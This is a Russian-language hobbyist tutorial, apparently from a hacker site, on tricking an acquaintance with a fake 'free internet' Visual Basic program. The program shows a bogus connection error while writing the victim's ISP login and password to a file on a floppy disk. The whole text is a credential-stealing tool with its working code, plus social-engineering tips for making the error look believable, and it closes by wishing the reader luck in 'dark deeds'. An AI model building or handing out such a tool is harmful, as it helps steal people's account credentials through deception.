Каталог статей

Простенький развод ламеров.

Привет всем! Эта статья почти полностью схвачена с учебника вот этого чувака (padre03@mail.ru). Ссылку указывать не буду т.к. сайта уже нет, хотя возможно стоит с ним (в смысле с чуваком) связаться! Вся радость в том, что ламер будет думать, что он дурит провайдера, а на самом деле мы будем его дурить. Короче, вот как получится. Ты приходишь к знакомому ламеру и говоришь ему, что у тебя с собой есть прога, позволяющая на халву сидеть в интернете. Он, конечно же спросит тебя: «А у тебя получилось?», а ты ему положительно-убедительный ответ (во как сказал!). Он запустить прогу с дискетки или флешки (не в коем случае не с диска!!!) введет логин и пароль, попросив тебя отвернуться, а прога сохранит их на носитель. Просто и гениально.

            Приступим к созданию.

            Создадим новый проект. На форму кинем: 4 метки и текстовых поля, 1-у кнопку.

Свойство Caption  меняем на подобие «XSpeed Internet», для пущей убедительности. Свойство у 1 метки равно Логин, у второй Пароль, у третей адрес провайдера, а у четвертой адрес сайта (oxegengroup.ucoz.ru). У кнопки капшион равно Enter. И так делаем механизм.

Private Sub Command1_Click() 'При нажатии на кнопку Ввод:

MsgBox "Не установлено соединение или неправильно введен пароль", 48, "Ошибка при соединении" 'Появится ошибка, с сообщением о неправильных действиях ламера, если ламер введет не правильный (или правильный) пароль и логин, то появится ощибка, и когда - нибудь он введет правильный...
d = FreeFile
Open "a:\1.txt" For Append As d 'Открываем файл для записи, в него будут записываться данные ламера. Стоит диск a:, это для того чтоб привязать прогу к дискете, и тогда ламер не сможет скинуть ее себе на комп, и когда он отдаст тебе дискету, ты прочтешь все его записи.
Print #d, Text1.Text; Tab; Text2.Text 'Записываем данные, которые ламер введет в текстовые поля
Close #d 'Закрываем файл
End Sub

Вот и все, теперь можно для пущей убедительности ламера намалевать менюшку и добавить еще пару ошибок для разнообразия. Не забудьте на форму добавить адрес нашего сайта, это обязательно. Еще могу предложить сделать так. После того как ламер введет пароль при нажатии на кнопку пароли сохранятся, а затем вылезет окошко со сложным настройками и ты скажешь ламеру, что мол каждый чел должен здесь все настроить персонально для своего компа, или ты не умеешь их делать под его комп т.к. со своими еле справился, тогда уж сообщение об ошибке будет не том, что не подозрительным, а предсказуемым. Удачи в темных делах!